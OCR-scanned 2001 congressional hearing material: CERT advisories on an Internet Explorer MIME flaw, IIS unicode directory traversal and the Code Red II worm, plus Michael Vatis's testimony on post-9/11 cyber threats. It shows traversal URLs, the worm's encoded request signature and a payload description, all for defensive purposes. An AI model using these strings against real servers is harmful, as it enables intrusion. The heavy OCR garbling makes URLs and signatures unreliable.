Please see the advisory (MS01-020, "incorrect MIME Header Can Cause IE to Execute E-mail
Attachment") related to this issue at:
http//www.microsoft comftechnet/security/bulietin/MS01-020.asp
A patch is available for this issue at:
htip:/fwww.microsoft comiwindows/ie/download/critical/Q290108/default.asp

Note: The above patch has been supserseded by the IE 5.01 and 5.5 patch\ es discussed in
MS01-027

Netscape Communications Corporation

We have concluded that the bug, as described above, does NOT affect Netscape clienis 4.x and
6.x for the following two reasons:

1, We ALWAYS verify that the user wants to open/launch the attachment with a link, The
user must click this link to viewflaunch the attachment.

2. Also, we ALWAYS stay true to the MIME type given. Therefore, if someone sent a
malicious .exe file, and manually changed the MIME type to image/gif, Netscape would
open the file as a gif. The result would be garbled binary code.

As a result of our forced check for user authorization (bullet #1) we assume that the bug in
question does not affect us,

Opera Software
Opera does not use Internet Explorer or any other external software to render HTML.
QUALCOMM Incorporated

it is unclear at this time what impact, if any, this vulnerability has on Eudora dlients.

Appendix B. - References

1. Havrilla, 4., and Hernan, 8., "CERT Vulnerability Note VU#980499: Certain MIME types
can cause Infernet Explorer fo execule arbitrary code when rendering HTML", March
2001.
hitps:/fwww.kb.cert.ora/vuls/id/980499

Microsoft has acknowledged Juan Carlos Cyartango for bringing this issue to their attention.

This document was written by Jeffrey S. Havrilla and Shawn V. Herman. if you have feedback,
comments, or additional information about this issue, please send us gmail.

This document is avaitable from: http://www.cert.org/advisaries/CA-2001-06 .hitml

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
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Fax: +1 412-268-6989

Postal address:
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
US.A

CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday
through Friday, they are on call for emergencies during other hours, on U.8. holidays, and on
weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email, Our public PGP key is
available from

htto/iwww cert.org/CERT PGP .key

if you prefer {o use DES, please call the CERT hotline for more information.
Getting security information
CERT publications and other security information are available from our web site

hitp:/fwww cert.org/

To subscribe to the CERT mailing list for advisories and bulletins, send email to
majordomo@eert.org. Please include in the body of your message
subscribe cert-advisory

*"CERT" and "CERT Coordination Center” are registerad in the U.8. Patént and Trademark
Office.

NO WARRANTY ‘

- Any material furnished by Carnegie Mellon University and the Software Enginsering
Institute is furnished on an "as is” basis. Carnegie Melion University makes no warranties
of any kind, either expressed or implied as to any matter including, but not limited to,
warranty of fitness for a particular purpose or merchantability, exclusivity or results
obtained from use of the material, Carnegie Mellon University does not make any warranty
of any kind with respect to freedom from patent, trademark, or copyright infringement.

Conditions for use, disclaimers, and sponsorship information
Copyright 2001 Carnegie Mellon University.

Revision History

April 03, 2001: Initial release .

April 05, 2001: Updated vendor statement from Lotus

April 12, 2001: Updated vendor statement from Netscape

April 12, 2001: Modified "Systems Affected® to exclude all non-

Wintel platforms
September 19, 2001: Added link to superceded patches at MS0L-027
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Vulnerability Note VU#111677

Microsoft IIS 4.0 / 5.0 vulnerable to directory
traversal via extended unicode in url (MS00-078)

Qverview

A vulnerability exists in Microsoft IIS 4 and 5 such that an attacker vigiting an IS
web site can execute arbitrary code with the privileges of the
IUSR_machinename account. This vulnerability is referred to as the "Web Server
Folder Directory Traversal” vulnerability. This vulnerability has characteristics
similar to vulnerabilities that have been widely exploited in the past. Unless
remedial action is taken, we believe it is likely that systems with this vulnerability
will be compromised.

I. Description

IS 4 and 5 provide the ability for web administrators to place executable files and
scripts on the web server for execution on the server by visitors to the site. The
executability and scriptability of files on the server can be controlled on a
directory-by-directory basis. Additionally, by design, IS restricts access to files
on the server to only those files in the web folder(s). This includes attempts fo
access files through a relative reference such as

hitp:/fwww.example.org/datal../../../winnt/ffile.dat

By design, attempts to access a file in this manner will fail.

Furthermore, an attempt to execute a file contained in a directory not marked as
execuiable will fail. For example,

http://www . example.org/data/prog.exe

will attempt to downioad the file prog.exe to the web browser rather than
executing it on the server. However, an administrator can permit the execution of
files on the server by marking their parent direclory as executable. IIS includes a
set of default directories in the web folder; including a scripts directory, which is
executable by default. Therefore, by default, a reference fo

hitp://www.example.org/scripts/prog.exe

will cause IS to attempt 1o execute prog.exe. For the same reason that an
attempt to read file.dat through a relative reference will fail as shown above, an
attempt to execute prog2.exe via a relative reference will fail as well. That is, a
reference to
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hitp/fwww.example.org/datal../. /. fwinnt/prog2.exe

will neither download prog2.exe nor attempt to execute it. However, if an intruder
encodes the relative reference to prog2.exe using certain unicode characters, IS
fails to prevent access to it. if the relative reference is relative to a directory
marked as executable, the reference will result in an attempt to execute the file.
For example, by default, a reference to .

hitp://www.example.org/scripts/../../../winnt/prog2.exe

will cause 1IS to attempt to execute prog2.exe if the reference is encoded using
certain unicode characters (not shown above). Other references can be
constructed to simply attempt to read files; such references do not need fo be
relative to a directory marked as executable.

Whether or not an attempt to read or execute a file will succeed depends on the
access permissions 1S has with respect to that file. For the purposes of reading
and executing files, IS runs with the permissions of the IUSR_machinename
account. NTFS can be used to reduce susceptibility to this vulnerability by setting
permissions such that the IUSR_machinename account cannot access files
outside the web folder. 1S servers using the FAT file system are unable to use
file system permissions to mitigate against this vulnerability.

1l. Impact

Remote users can execute arbitrary commands with the privileges of the
IUSR_machinename account.

lll. Solution

Apply the patch described in M801-044. This patch is a cumulative patch that
covers a variety of security problems discovered prior to August 15, 2001.
Alternately, you can install a patch from Microsoft as described in MS00-078,
though that addresses only this specific vulnerability. The patch was first
announced in MS00-057.

As a general practice, and to mitigate against this vulnerability if you are unable
to install a patch, use NTFS file permissions to restrict 1IS so that it can only
access files contained in the web server. Additionally, because relative
references to files cannot cross volume boundaries, you may wish to configure
IS such that the web folder is on a separate volume. That is, keep the web data
on the D: drive and everything else on the C: drive. However, note that this
provides only very limited protection and can be circumvented by an intruder.

Systems Affected

Vendor Status Date Updated
Microsoft Vulnerable 4-Dec-2000

References
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hitp://www.microsoft.com/technet/security/bulletin/MS00-078 .asp
hitp://www.microsoft.com/technet/security/bulletin/ms00-057 .asp
hitp:/iwww . securityfocus.com/bid/1806

Credit

This document was written by Shawn Heman. Our understanding of this problem
was aided by the work of Rain Forest Puppy.

Other Information

Date Public 10/10/2000
Date First Published 11/20/2000 06:13:36 PM
Date Last Updated 09/18/2001
CERT Advisory
CVE Name CAN-2000-0884
Metric68.40
Document Revision22

If you have feedback, comments, or additional information about this
vulnerability, please send us email.
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CERT® Incident Note IN-2001-09

The CERT Coordination Center publishes incident notes to provide information about incidents to
the Internet community.

"Code Red II:" Another Worm Exploiting Buffer
Overflow In IS Indexing Service DLL
Release Date: August 6, 2001
Systems Affected
s Windows 2000 with 115 4.0 or IS 5.0 enabled and Indexing services installed
s Microsoft Windows NT 4.0 with {IS 4.0 or [IS 5.0 enabled and Index Server 2.0 instalied

« Cisco CallManager, Unity Server, uCne, ICS7750, Building Broadband Service Manager
(these systems run IS} .

* Cisco 600 series DSL. routers

I. Overview

The CERT/CC has received reports of new self-propagating malicious code exploiting the
vuinerability described in CA-2001-13 Buffer Qverflow In 11S Indexing Service DLL. These reports
indicate that the worm has already affected thousands of systems. This new worm is being cailed
"Code Red I1," however, except for using the same buffer overflow mechanism, it is different from
the original “Code Red"” worm described in CA-2001-19 "Code Red” Worm Exploiting Buffer
Overflow In I1S Indexing Service DLL.

The "Code Red 1i" worm causes system level compromise and leaves a backdoor on certain
machines running Windows 2000. Vulnerable Windows NT 4.0 systems could experience a
disruption of the 118 service,

Il. Description

The "Code Red I" worm is self-propagating malicious code that exploits a known vulnerability in
Microsoft HS servers {CA-2001-13).

Attack Cycle
The "Code Red II" worm attacks as foliows:

1. The "Code Red HI" worm attempts to connect to TCP port 80 on a randomly chosen host
assuming that a web server will be found. Upon a successful connection to port 80, the
attacking host sends a crafted HTTP GET request to the victim, attempting to exploit the
buffer overflow in the Indexing Service described in CA-2001-13

2. The same exploit is sent to each of the randomly chosen hosts due to the self-
propagating nature of the worm. However, there are varied consequences depending on
the configuration of the host which receives this request.
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o Unpatched Windows 2000 servers running HS 4.0 or 5.0 with indexing
Service installed are likely to be compromised by the "Code Red 11" worm

o Unpatched Windows NT servers running lIS 4.0 or 5.0 with Indexing Server
2.0 installed could experience crashes of the IS server.

o Unpatched Cisco 600-series DSL routers will process the HTTP request
thereby exploiting an unrelated vulnerability which causes the router to stop
forwarding packets. [hitp://www.cisco.com/warp/public/707/cisco-code-red-worm-

pub.shimi]

o Patched systems, ar systems not running IS with an HTTP server listening
on TCP port 80 will probably accept the HTTP request, return with an "HTTP
4xx" error message, and potentially log this request in an access log.

If the exploit is successful, the worm begins executing on the victim host.

Payload

Upon successful compromise of a systern, the worm

1.

Checks to see If it has already infected this system by verifying the existence of the
CodeRedII atom. If the worm finds this atom it sleeps forever. Otherwise it creates this
atorm and continues the infection process. Reference information regarding atoms may
be found at htp://msdn.microsoft. com/ibrary/default.asp 2url=/library/en-
usfipc/hhiwinbase/atoms 0p83.asp

Checks the default system language, and spawns threads for propagation. If the default
system language Is "Chinese (Taiwanese)" or "Chinese (PRC)", 600 threads will be
spawned to scan for 48 hours, Otherwise, 300 threads will be created which will scan for
24 hours.

Copies $5YSTEM¥\CMD . EXE {0 root.exe in the IS scripts and MSADC folders.
Placing cMD. EXE in & publicly accessible directory may allow an intruder to execute
arbitrary commands on the compromised machine with the privileges of the IIS server
process.

Creates a Trojan horse copy of explorer.exe and copiesitto ¢:\ and D:\. The
Trojan horse explorer. exe calls the real explorer. exe to mask its existence, and
creates a virtual mapping which exposes the C: and D: drives.

On systems not patched against the "Relative Shell Path” vulnerability

{hitp:/iwww microsoft.com/technet/security/bulletin/MS00-052 asg), this Trojan horse
copy of explorer.exe will run every time a user logs in. In this fashion, certain pieces
of the worm's payload have persistence even after a reboot of the compromised
machine.

System Footprint

The "Code Red iI” worm can be identified on victim machines by the presence of the following
string in 118 log files: :

GET /default.ida?XXXXAXXXXEXRAAXXKXAXXKXXXXAX XXX XLALKXKXKKLKK
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XXX X XXXKXKX XXXXXXXXKXKKXXKKXKK . 9.0.9.0.0.0.0.0.9.0.9.0.0.¢
XXX XXXX XXXXXXKX XXX X XXXXXXX XXXXXX
P9.9:9.9.9.9.9.9.9.9.9,0.9.9.9.9.9.9.9.0.0.9.9.0.9.0.0.9.¢.0.0.9.9.9.9.9.9.9.9.9.9.8:9.0.0.9.9.8:6.9.0.0.9.9.9.0.:0.4
XEXXXXXXXBu9090%u6858%uchbd34u7801%u9090%u6858%uchd3%u7801%
u2090%u6358%uchd3%u7801%ud090%us090%us190%u00c3%ul003%usbl
0%u531b%us3££3u0078%u0000%u00=a

The presence of this string in a log file does not neccessarily indicate compromise, it only implies
that a "Code Red Ii" worm attempted to infect the machine.

The worm. will create several files on the compromised machines. These files include
c:\explorer.exe of d: \explorer.exe, as well as root.exe in the IS scripts or M8aDC
folder. While the existence of the file root . exe could indicate compromise, i does not
necessarily imply the presence of the "Code Red iI' worm. This file name has been used for
artifacts of other exploits, including the sadmind/IIS worm (see CA-2001-11).

Network Footprint

A host running an active instance of the "Code Red JI" worm will scan random IP addresses on
port BO/TCP looking for other hosts to infect. The IP addresses scanned by the "Code Red II”
worm are determined in a probabilistic manner:

» Thereis a one in two chance that a given thread will scan random IP addresses with the
same first byte as the infected host.

« Thereis a three in eight chance that a given thread will scan random IP addresses with
the same first two bytes as the infected host.

¢ Thereis a one in eight chance that a given thread will scan random IP addresses.

Additional detailed analysis of this worm has been published by eEye Digital Security at
hitp//www eeye.com.

I, Impact

Intruders can execute arbitrary commands within the LocalSystem security context on Windows
2000 systems infected with the "Code Red H* worm. Compromised systems may be subject to
files being aitered or destroyed. Denial-of-service conditions may be created for services relying
on altered or destroyed files. Hosts that have been compromised are also at high risk for being
party to attacks on other internet sites.

The widespread, autormated attack and propagation characteristics of the "Code Red II" may
cause bandwidth denial-of-service conditions in isolated portions of the network, particularly near
groups of compromised hosts where "Code Red 1" is running.

Windows NT 4.0 systems and Cisco 600-series DSL routers may experience denial-of-service as
a result of the scanning activity of the worm.

IV. Solutions

Infection by the "Code Red II" worm constitutes a system level compromise. If you believe a host
under your control has been compromised, please refer to

Steps for Recovering from a UNIX or NT System Compromise

Consistent with the security best-practice of denying ali network traffic and only selectively
allowing that which is required, ingress and egress filtering should be implemented at the network
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edge. Likewise, controls must be in place to ensure that ali software used on a network is
properly maintained. See CA-2001-23 Continued Threat of the "Code Red" Worm for more
information on these topics.

V. Reporting

The CERT/CC is interested in receiving reports of this activity. If machines under your
administrative control are compromised, please send mail to cert@cert.org with the following text
included in the subject line: "[CERT#29209]".

Author{s}: Roman Danyliw, Allen Householder, and Marty Lindner
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Email: cert@cert.org
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*"CERT" and "CERT Coordination Center" are registered in the U.8. Patent and Trademark
Office.

NO WARRANTY

Any material furnished by Carnegie Mellon University and the Software Engineering
Institute is furnished on an “as is" basis. Carnegie Melion University makes no warranties
of any kind, either expressed or implied as to any matter including, but not limited to,
warranty of fitness for a particular purpose or merchantability, exclusivity or results
obtained from use of the material. Carnegie Mellon University does not make any warranty
of any kind with respect to freedom from patent, trademark, or copyright infringement.



85

Conditions for use, disclaimers, and sponsorship information
Copyright 2001 Carnegie Mellon University.

Revision History

August 6, 2001: Initial Release



86

Mr. HORN. Our next presenter is Michael Vatis, the Director, in-
stitute for Security Technology Studies at Dartmouth College.

STATEMENT OF MICHAEL VATIS, DIRECTOR, INSTITUTE FOR
SECURITY TECHNOLOGY STUDIES, DARTMOUTH COLLEGE

Mr. VATIS. Thank you, Mr. Chairman. I would like to commend
you for holding this hearing today, because in the wake of the hor-
rible terrorist attacks that occurred on our country on September
11, it would be very easy for Members of Congress to focus all of
their attention on the types of attacks that occurred on that day
and to focus on what needs to be done to prevent their reoccur-
rence. But I think it is equally important at least that we pay at-
tention to the other types of threats to our Nation’s security that
are just as significant today as they were before September 11. And
among those threats are potential cyber attacks against our infor-
mation infrastructure. Indeed, for the reasons that I've given in my
prepared statement, I believe that this threat is even greater today
than it was before September 11. And so, again, I'd like to com-
mend the subcommittee for bringing attention to this critical issue
when it would have been very easy to focus on other things.

I would like to devote my discussion today to two things. One is
to provide a summary of our threat assessment of the possible at-
tacks that could take place on our information infrastructure dur-
ing the war on terrorism; and second, to talk about the importance
of research and development to the overall cause of securing our
Nation’s computer networks. It is my belief that what is needed
today is essentially a “Manhattan Project” for counterterrorism
technology, so that America’s leading scientists in industry, aca-
demia, and government can work together to use one of this Na-
tion’s greatest strengths, our technical prowess, to design tools and
technology to secure the information infrastructure that provides
the foundation for our economy and our national security.

Turning to our threat assessment, we started by examining sev-
eral recent political conflicts over the last few years that have led
to attacks on cyber-systems, including the recent clashes between
India and Pakistan, between Israel and the Palestinians, between
NATO and Serbia in Kosovo, and also the tensions between the
United States and China after the collision between a Chinese
fighter plane and an American surveillance plane. From these case
studies we concluded that cyber attacks immediately follow phys-
ical attacks within the circumstances of these political conflicts.

It is also the case that politically motivated cyber attacks are in-
creasing in volume, sophistication, and coordination. For instance,
after the collision between the Chinese fighter plane and the Amer-
ican surveillance plane, approximately 1,200 U.S. sites, including
those belonging to the White House and other government agen-
cies, were reportedly subject to distributed denial of service attacks
or defaced with pro-Chinese images in just 1 week.

And finally, cyber attackers are attracted to high-value targets.
They have attacked the Web sites of financial institutions and also
government communication infrastructures.

As the next step in our analysis, we looked at general trends in
cyber attacks, including those lacking any apparent political moti-
vation. And there, as my colleague, Rich Pethia has talked about,
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it is clear that cyber attacks are growing in their destructiveness
and in their sophistication. And attackers are increasingly taking
advantage of the vulnerabilities that persist throughout our net-
works. In addition, the wide and rapid dissemination of automated
scripts has made it possible even for the unsophisticated hacker to
take advantage of these advanced techniques. And so in recent
years, and again in recent weeks, we have seen a proliferation in
destructive worms such as Code Red and Nimda. We've seen a pro-
liferation of distributed denial of service techniques that can be
used to carry out automated attacks on victim networks, and we’ve
seen a growth in the sophistication of unauthorized intrusions
which can allow an attacker to get into government networks or
private sector networks for the purpose of absconding with sen-
sitive information, with money, with credit cards, or carrying out
a destructive attack on the network itself.

So the question, then, is, during the war on terrorism, what
types of groups or individuals might engage in cyber attacks
against our information infrastructure? Well, clearly the terrorists
themselves are a concern. While it is not clear whether Osama bin
Laden’s al Qaeda organization has developed cyber attack capabili-
ties, it is clear that members of his network have utilized informa-
tion technology to communicate securely, to raise funds, and to for-
mulate their plans.

For instance, Ramzi Yousef, who was the mastermind of the first
attack on the World Trade Center in 1993, had details of future
terrorist plots, including the planned bombing of 11 U.S. airliners
in the Pacific, stored on encrypted files on his laptop computer. At
the same time, the September 11 attacks themselves show that ter-
rorists are not merely focused on causing deaths, but also on caus-
ing damage to our critical infrastructures, with all of the attendant
financial consequences and economic consequences that has.

Another group to be concerned about is targeted nation states.
Several nations could be targets in our military retaliation for the
September 11 attacks, including not only Afghanistan, but possibly
some states that have been designated as supporters of terrorism.
And among those U.S. designated states are countries such as Iraq
and Libya, which are reported to have developed information war-
fare capabilities.

So as we engage in this war on terrorism, we need to be cog-
nizant of the risk of possible counterattacks on our information in-
frastructure by countries such as that. The most likely source of at-
tack, though, are the sympathizers of terrorists around the world
or those with general anti-U.S. or anti-ally sentiments. These are
the people who have engaged in attacks before, whether it’s Web
site defacements or denial of service attacks. And they include peo-
ple who could perceive the war on terrorism as an anti-Muslim cru-
sade. And it also could include other people such as those who are
against globalization and capitalism in general and have engaged
in these sorts of attacks before.

And the last category is thrillseekers who might just use this sit-
uation as an opportunity to gain bragging rights for breaking into
systems while the world’s media are focused on the problem. And
the types of targets that these attackers could go after include not
only Web sites, but also more high-value targets such as domain
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name servers, communication systems, routers, and critical infra-
structures. There could also be the possibility of compound attacks
on many of these infrastructures using many different techniques
and possibly combined with physical attacks as well.

Mr. Chairman, my prepared statement has a number of very spe-
cific recommendations that we offer for system administrators
throughout the government and in the private sector to take to pro-
tect themselves against these sorts of attacks. And we believe that
if those steps are taken, people can minimize the chance of being
hit. But over the long-term, the importance of research and devel-
opment is great. And we can never really get ahead of the problem
through patches and through updating our antivirus software, un-
less we can design systems, from the ground up, that are secure,
and unless we make the Internet a safe place to engage in com-
merce and to communicate securely. Thank you, Mr. Chairman.

Mr. HogrN. Thank you. That’s a very helpful presentation and in
the dialog there’s a lot of things we can take advantage of.

[The prepared statement of Mr. Vadis follows:]
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Chairman Horn, Congresswoman Schakowsky, and members of the
Subcommittee: Thank you for inviting me here today to testify about the state of our
preparedness to deal with attacks on our information infrastructure, In the wake of the
horrible terrorist attacks on our country that took place on September 11, 2001, it would
be very easy for members of Congress to focus all of their attention on the types of
attacks we saw on that day, and on what needs to be done to prevent their reoccurrence,
That is, of course, an extremely important issue, and it is crucial that we take steps such
as improving aviation security to prevent similar attacks in the future. But it is also
vitally important that we pay attention to the other types of threats to our nation’s security
that are just as significant, and just as likely, today as they were before September 11.
Among those threats are potential cyber attacks against our information infrastructure,
Indeed, for the reasons I will discuss, this threat is even greater today than it was before
September 11. This Subcommittee should therefore be commended for bringing attention
to this eritical issue when it would have been so easy to focus on other things.

Mr. Chairman, you and other members of Congress have devoted much attention
over the past few years to the state of our preparedness to deal with cyber attacks. You
have devoted particular atiention to the security of computer neiworks at various federal
agencies, and your work has revealed the severe shortcomings across many different
agencies in this area. Itherefore will not dwell on that issue here today. Some members
of this Subcommittee have also heard me testify in the past about the enormous
improvements that have been made over the past few years in the government’s ability to
detect, wamn of, and respond to cyber attacks, principally through the National
Infrastructure Profection Center. And my esteemed colleague, NIPC Director Ron Dick,
is here today to tell you about the most recent efforts of the NIPC in this regard.

Accordingly, I would like to devote my testimony today to two other issues. I
would first like to provide this Subcommittee with our assessment at the Institute for
Security Technology Studies of the probability of cyber attacks that could take place
against the U.S. information infrastructure during the war on terrorism. We conclude,
based on factual analysis of recent precedents, cyber attack trends, and the geopolitical
situation today that: -

September 26, 2001 Page 1 of 12
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n the likelihood of cyber attacks against U.S. and allied information
infrastructures is high;
n such attacks could come from terrorists and/or their nation-state

sponsors, but are more likely to come from sympathizers of terrorists or
of nation-states targeted by U.S.-led military operations and from
hackers with anti-U.S. sentiments;

| ] such attacks will almost certainly target the web sites of government
agencies and private companies in the U.S. and allied countries, but
could also attack more high-value targets such as the networks that
control critical infrastructures;

| | such attacks could utilize destructive worms and viruses, Distributed
Denial of Service exploits, and intrusions to disrupt targeted networks;

] and such cyber exploits could be combined into a potent mix to cause
widespread disruption, and also combined with physical terrorist attacks
to maximize the destructive potential of both sets of terrorist tools.

Second, I would like to discuss the importance of technology research and
development to the overall canse of counterierrorism, and to the cause of protecting
against cyber attacks in particular. [ believe what is needed today is essentially a
“Manhattan Project” for counterterrorism technology, so that America’s leading scientists
in industry, academia, and government can help us use one of our greatest strengths ~ our
technological prowess — to design tools and technology to assist in the war on terrorism.
A significant portion of this effort should focus on technology to secure the information
infrastructure that provides the foundation for much of our economy and our national
security.

Background on ISTS

Before 1 tumn to the main substance of my testimony, I would like to provide
background on the Institute for Security Technology Studies at Dartmouth College. ISTS
was created last year as the result of congressional appropriations to the Department of
Justice, National Institute of Justice. Its mission is to serve as a national center for
counterterrorism technology R&D, with a significant focus on techpology to address
cyber attacks. Icame on board as ISTS’s first Director this past Spring.

ISTS has numerous significant research projects underway to develop technology
to enhance cyber security and cyber attack investigations. It also is conducting research
into counterterrorism technology, including tools for addressing the threat of chemical
and biological weapons. Most of these projects involve mid- and long-term research to
develop technology. In the wake of the September 11, 2001 attacks, we also initiated
several shori-term analytical projects in the interest of helping policymakers, law
enforcement and intelligence officials, and system administrators in industry and

September 26, 2001 Page 2 of 12
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government address some of the challenges we will face in the coming weeks .and
months. One of those projects was to analyze the possibility of cyber attacks against the
U.S. information infrastructure during the war on terrorism, which I have attached as an
Appendix to my Statement for the Record. That analysis is the focus of the next part of
my testimony.

Cyber Attacks During the War on Terrorism

As a starting point, we examined several recent political conflicts that led to
attacks on cyber systemns: the recent clashes between India and Pakistan, Israel and the
Palestiniang, and NATO and Serbia in Kosovo, and the tensions between the U.S. and
China over the collision between a Chinese fighter plane and an American surveillance
plane. From these case studies, we concluded that:

= Cyber Attacks Immediately Accompany Physical Attacks

For instance, in the Israel/Palestinian conflict, there were increases in
the number of cyber attacks immediately following physical attacks,
such as car bombings and mortar shellings.

| Politically Motivated Cyber Attacks Are Increasing in Volume,
Sephistication, and Coordination

For instance, after the collision between the Chinese fighter plane and
an American surveillance plane, approximately 1,200 U.S. web sites,
including those belonging to the White House and other government
agencies, were reportedly subjected to Distributed Denial of Service
attacks or defaced with pro-Chinese images in just one week,

] Cyber Attackers Are Attracted to High Value Targets

For instance, during the Israel/Palestinian conflict, pro-Palestinian
hackers have attacked the web sites of Israeli banking and financial
institutions. And during the NATO action in Kosovo, pro-Serbian
hackers repeatedly targeted NATO communications infrastructures.

Next, we looked at general trends in cyber attacks, including those lacking any
apparent political motivation. From this part of our analysis, we concluded that cyber
attacks during the war on terrorism could utilize far more destructive technigues than
those witnessed during previous political conflicts. Whether motivated by financial gain
or simply the challenge of breaking through network defenses, attackers have been
gradually ratcheting up the sophistication of their attacks for years. Furthermore, the
wide and rapid dissemination of new exploit “scripts” has made it possible for even
unsophisticated programmers to take advantage of these advanced techniques. Thus, in
recent years, we have seen an explosive growth in cyber attack tools such as:

September 26, 2001 Page3of12
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‘Worms

A worm is an independent program that replicates itself from machine
to machine across network connections, often congesting networks as it
spreads. In recent weeks, the Code Red and Nimda worms have
demonstrated the increasing destructiveness of this malicious
technology.

Distributed Denial of Service Attacks

DDoS attacks employ armies of “zombie” machines, taken over and
controlled by a single master, to overwhelm the resources of victims
with floods of packets. Most of the world first became aware of this
attack tool during the high-profile attacks of February 2000, in which
popular e-commerce web sites were shut down by simultaneous attacks.
Since that time, the popularity of high-speed home Internet access (via
cable modems and DSL) has increased, and the commanders of DDoS
zombic ammies are taking advantage of this popularity to plant malicious
programs on home computers, making those machines the unwitting
participants in DDoS attacks ‘

Unautherized Intrusions

Computer intrusions enable attackers to abscond with sensitive
information from government agencies and businesses, to steal money
or credit card numbers, or to alter information. Such tools are
increasingly being used by organized crime groups and potentiaily by
foreign adversaries.

Thus, a variety of increasingly sophisticated tools are available to those who
would attack the U.S. information infrastructure during the war on terrorism. The next
question, then, is who might engage in such attacks. We determined that there are four
principal categories of potential attackers:

Terrorists

While it is unclear whether Osama bin Laden’s Al Qaeda organization
has developed cyber attack capabilities, members of this network use
information technology to formulate plans and communicate securely.
For instance, Ramzi Yousef, who was convicted of planning the first
World Trade Center bombing in 1993, had details of future terrorist
plots (including the planned bombing of 12 airliners in the Pacific)
stored on encrypted files on his laptop computer. At the same time, the
September 11, 2001 aftacks on the World Trade Center and Pentagon
demonstrate an increasing desire by terrorist groups to attack critical
infrastructure targets. It is only a small step to using information
technology as a weapon against critical infrastructure targets.

Septemnber 26, 2001
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Targeted Nation-States

Several nation-states, including not only Afghanistan, but also U.S.-
designated supporters of terrorism, such as Syria, Iraq, Iran, Sudan and
Libya, could possibly become the focus of U.S. and allied military
operations. Among those nations, at least Iraq and Libya are reported to
have developed information warfare capabilities that could be turned
against the U.S. and its allies. China, North Korea, Cuba, and Russia,
among others, are also believed to be developing cyber warfare
capabilities.

Terrorist Sympathizers or Those with General Anti-U.S. or Anti-
Allied Sentiments

This category contains those actors probably most likely to engage in
attacks. If the American campaign against terrorism is perceived as a
“crusade” against people of the Muslim faith, a variety of pro-Muslim
hacker groups could launch cyber attacks against the United States and
its allies. Others with anti-U.S. or anti-allied sentiments, such as
members of the anti-capitalism and anti-globalization movements, or
Chinese hackers still upset about the surveillance plane incident or the
accidental NATO bombing of the Chinese Embassy in Belgrade could
join in such attacks,

Thrill Seekers

Any conflict that plays out in cyberspace will invariably attract a huge
number of hackers and “script kiddies” who simply want to gain
notoriety through high profile attacks. Those just jumping on the
bandwagon of a cyber conflict between the United States and its
enemies pose a relatively low threat to American systems. However,
such individuals can still have significant disruptive impact, as
evidenced by the February 2000 DDo$S attacks and recent destructive
WOIS.

The next issue is what targets these attacks could be used against. We determined
that the following were possible targets.

‘Web Sites

Politically motivated web site defacements will likely continue to
escalate during the war on terrorism. The most serious consequences of
web site defacements would involve “semantic” attacks, which entail
changing the content of a web page subtly, thus disseminating false
information. A semantic attack on a news sife or government agency
site, causing its web servers to provide false information at a critical
juncture in the war on terrorism, could have a significant impact on the
American population. Web sites could also be targeted with DDoS
attacks, particularly government and military sites,

September 26, 2001
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n Domain Name Servers

Domain Name Servers (DNS) are the “Yellow Pages™ that computers
consult in order to obtain the mapping between the name of a system (or
web site) and the numerical address of that system. An attacker could
disseminate false information with a successful attack on a select
Domain Name Server {or group of servers), bypassing the need to break
into the actual web servers themselves. Moreover, a DNS attack would
prevent access to the original web site, depriving the site of traffic.

] Communications Systems

DDoS attacks against critical communication nodes would be
particularly harmful, especially during a period of crisis. Potential
targets for DDoS attacks are chat and mail servers, search engines, and
news services. Military and government communications systems are
especially likely to receive DDoS attack variants.

] Routers

Routers are the “air traffic controllers” of the Internet, ensuring that
information, in the form of packets, gets from source to destination.
Routing operations have not yet seen deliberate disruption from
malicious activity, but the lack of diversity in router operating systems
leaves open the possibility for a massive routing attack. While routers
are less vulnerable than most computers due to the fact that they offer
fewer services, there is the possibility that a current or as yet
undiscoversd vulnerability could be used to gain control of a number of
backbone routers.

L Critical Infrastructures

Information systems associated with critical infrastructures (such as
banking and financial institutions, voice communications systems,
electrical power supplies, water resources, and oil and gas delivery
systems) must be considered a likely target for terrorists, nation-states,
and anti-U.S. hackers in the age of asymmetric warfare. Such systems
could be targeted through unauthorized intrusions, DDoS attacks,
worms, Trojan horse programs, or malicious insiders. New worms may
contain a sleep phase, in which the worm will infect as many hosts as
possible, before activating its destructive payload, perhaps in order to
coordinate with a conventional terrorist attack.

] Compound Attacks

A multi-faceted attack employing some or all of the attack scenarios in
compound fashion could be devastating if the United States and its
allies are unprepared. A compound cyber attack by terrorists or nation-
states could have disastrous effects on infrastructure systems,

September 26, 2001 Page 6 of 12



95

INSTITUTE FOR SECURITY TECHNOLOGY STUDIES

potentially resulting in human casualties. Such an attack could also be
coordinated to coincide with physical terrorist attacks, in order to
maximize the impact of both.

Finally, we recommended several specific sieps that government agencies, private
companies, and others can take to reduce their vulnerability to such attacks. These

include:
| |

Being On High Cyber Alert During The War On Terrorism

System administrators and government officials should be on high alert
for the waming signs of hostile cyber activity, particularly during
periods immediately following military strikes. Changes in “normal”
scanning activity should be considered suspicious and reported to the
appropriate authorities. Logging levels should be temporarily raised to
trap as many events as possible to enable law enforcement and/or
counterintelligence investigations and the issuance of specific warnings
by the NIPC and other appropriate entities to other potential victims:
Systematic and routine risk assessments should be undertaken, an
incident management plan should be developed, and law enforcement
contact numbers should be readily available in case of an aftack.

Following “Best Practices” for Computer and Physical Security

Best practices for maintaining systems should be followed, including:
regular updating of operating systems and software, enforcement of
password policies, locking down of systems, disabling of unnecessary
services, installing and updating anti-virus software, and employing
intrusion detection systems and firewalls.

Securing Critical Information Assets

Measures for securing critical systems should be implemented, such as:
checking for characters associated with popular web server exploits,
using existing authentication mechanisms in border routers, running
only recent and secure software in Domain Name Servers, backing up
all vital data and storing it off-site, copying and maintaining log records
in a secure location, and explaining all measures in an enforceable
security policy.

Employing Ingress and Egress Filtering

Routers should be programmed to discard any outbound packets whose
source IP address does not belong to the router’s client networks
(“egress filtering™). Likewise, any inbound IP packets with un-trusted
source addresses should be filtered out before they have a chance to
enter the network (“ingress filtering”). Countermeasures for DDoS can

September 26, 2001
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also include cooperation from “upstream™ Intemet: service providers
(ISPs) to limit the rate at which packets typically associated with attacks
(SYN and ICMP packets) are sent downstream to client networks. By
rate limiting these particular packets, the effects of a malicious flood
can be minimized without seriously disrupting normal operations.

The Importance of Research and Development to Improving Cyber Security

Improving cyber security is a multifaceted problem. As the other witnesses here
